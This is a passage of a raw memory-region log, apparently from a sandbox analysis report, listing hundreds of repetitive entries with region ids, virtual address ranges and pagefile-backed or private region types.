region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7204 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7205 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7206 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7207 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7208 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7209 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7210 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7211 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7212 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7213 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7214 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7215 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7216 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7217 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7218 start_va = 0x460000 end_va = 0x463fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7219 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7220 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7221 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7222 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7223 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7224 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7225 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7226 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7227 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7228 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7229 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7230 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7231 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7232 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7233 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7234 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7235 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7236 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7237 start_va = 0x6e0000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7238 start_va = 0x7c60000 end_va = 0x7d59fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007c60000" filename = "" Region: id = 7239 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7240 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7241 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7242 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7243 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7244 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7254 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7255 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7256 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7257 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7258 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7259 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7260 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7261 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7262 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7263 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7264 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7265 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7266 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7267 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7268 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7269 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7270 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7271 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7272 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7273 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7274 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7275 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7276 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7277 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7278 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7279 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7280 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7281 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7282 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7283 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7284 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7285 start_va = 0x470000 end_va = 0x47efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 7286 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7287 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7288 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7289 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7290 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7291 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7292 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7293 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7294 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7295 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7296 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7297 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7298 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7299 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7300 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7301 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7302 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7303 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7304 start_va = 0x6e0000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7305 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7306 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7307 start_va = 0x710000 end_va = 0x71efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 7308 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7309 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7310 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7311 start_va = 0x710000 end_va = 0x71efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 7312 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7313 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7314 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7315 start_va = 0x710000 end_va = 0x71efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 7316 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7317 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7318 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7319 start_va = 0x710000 end_va = 0x71efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 7320 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7321 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7322 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7323 start_va = 0x710000 end_va = 0x71efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 7324 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7325 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7326 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7327 start_va = 0x710000 end_va = 0x71efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 7328 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7329 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7330 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7331 start_va = 0x710000 end_va = 0x71efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 7332 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7333 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7334 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7335 start_va = 0x710000 end_va = 0x71efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 7336 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7337 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7338 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7339 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7340 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7341 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7342 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7343 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7344 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7345 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7346 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7347 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7348 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7349 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7350 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7351 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7353 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7354 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7355 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7356 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7357 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7358 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7359 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7360 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7361 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7362 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7363 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7364 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7365 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7366 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7367 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7368 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7369 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7370 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7371 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7372 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7373 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7374 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7375 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7376 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7377 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7378 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7379 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7380 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7381 start_va = 0x470000 end_va = 0x470fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 7382 start_va = 0x7c60000 end_va = 0x7d59fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007c60000" filename = "" Region: id = 7383 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7384 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7385 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7386 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7387 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7388 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7389 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7390 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7391 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7392 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7393 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7394 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7395 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7396 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7397 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7398 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 7399 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 7400 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7401 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7402 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7403 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7404 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7405 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7406 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 7407 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7408 start_va = 0x6e0000 end_va = 0x6eefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7409 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 7410 start_va = 0x23a0000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" 